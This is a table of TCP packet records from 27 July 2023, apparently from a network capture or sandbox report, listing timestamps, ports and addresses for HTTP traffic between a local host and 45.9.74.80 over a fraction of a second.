Jul 27, 2023 18:27:01.232630968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232642889 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232661009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232691050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232712030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232721090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232750893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232781887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232810020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232840061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232868910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232897997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232922077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232927084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232956886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232985973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233006954 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233016968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233031988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233046055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233058929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233076096 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233097076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233105898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233120918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233136892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233166933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233186960 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233196020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233212948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233227015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233237028 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233257055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233285904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233308077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233316898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233329058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233346939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233376980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233396053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233407021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233437061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233464003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233468056 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233509064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233519077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233539104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233566046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233572960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233587980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233602047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233618975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233632088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233654022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233661890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233680964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233694077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233704090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233725071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233747959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233757019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233767986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233787060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233803034 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233819962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233831882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233850002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233866930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233880043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233910084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233927965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233939886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233953953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.233969927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.233999014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234004021 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234025002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234029055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234047890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234060049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234069109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234091043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234107971 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234119892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234143019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234150887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234163046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234181881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234211922 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234226942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234241962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234246969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234272003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234287977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234301090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234308004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234332085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234347105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234360933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234385014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234390020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234405041 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234420061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234435081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234450102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234456062 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234479904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234508038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234533072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234536886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234551907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234571934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234589100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234601021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234631062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234648943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234661102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234668970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234687090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234693050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234709024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234724998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234736919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234754086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234783888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234801054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234812975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234821081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234844923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234863043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234874010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234882116 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234904051 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234920025 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234932899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234958887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234962940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.234978914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.234993935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235017061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235023975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235034943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235054970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235084057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235109091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235112906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235130072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235142946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235165119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235173941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235193014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235203981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235232115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235233068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235264063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235280991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235292912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235301018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235323906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235331059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235354900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235369921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235384941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235390902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235414982 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235445023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235462904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235474110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235483885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235505104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235511065 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235534906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235574007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235574007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235574007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235605001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235626936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235636950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235646963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235666990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235683918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235697031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235707045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235728025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235744953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.235758066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.235770941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.236583948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.237169981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258351088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258389950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258431911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258457899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258482933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258508921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258533955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258542061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258542061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258543015 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258563042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258588076 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258613110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258631945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258631945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258631945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258631945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258636951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258663893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258677959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258690119 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258709908 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258716106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258730888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258742094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258757114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258768082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258783102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258795977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258806944 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258822918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258838892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258872032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258897066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258922100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258932114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258948088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258956909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258975029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.258975029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.258995056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259001017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259027004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259051085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259074926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259099007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259100914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259130955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259145021 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259166956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259195089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259203911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259222031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259247065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259268045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259270906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259288073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259314060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259346962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259380102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259391069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259408951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259413958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259449959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259480953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259496927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259514093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259516954 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259547949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259558916 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259584904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259603977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259618044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259629965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259651899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259674072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259686947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259696007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259721994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259727001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259756088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259762049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259790897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259823084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259852886 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259855032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259852886 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259881020 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259890079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259900093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259923935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259946108 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.259958982 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.259994984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260006905 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260029078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260061979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260077953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260093927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260128021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260138035 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260163069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260195017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260207891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260230064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260281086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260293961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260318041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260350943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260363102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260385036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260418892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260431051 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260451078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260483980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260497093 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260516882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260550022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260562897 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260586023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260618925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260632992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260664940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260709047 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260710001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260745049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260777950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260792017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260812044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260845900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260859966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260881901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260915041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260936022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.260948896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260982037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.260993004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261015892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261049032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261063099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261082888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261115074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.261141062 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.261148930 CEST	80	49705	45.9.74.80	192.168.2.4
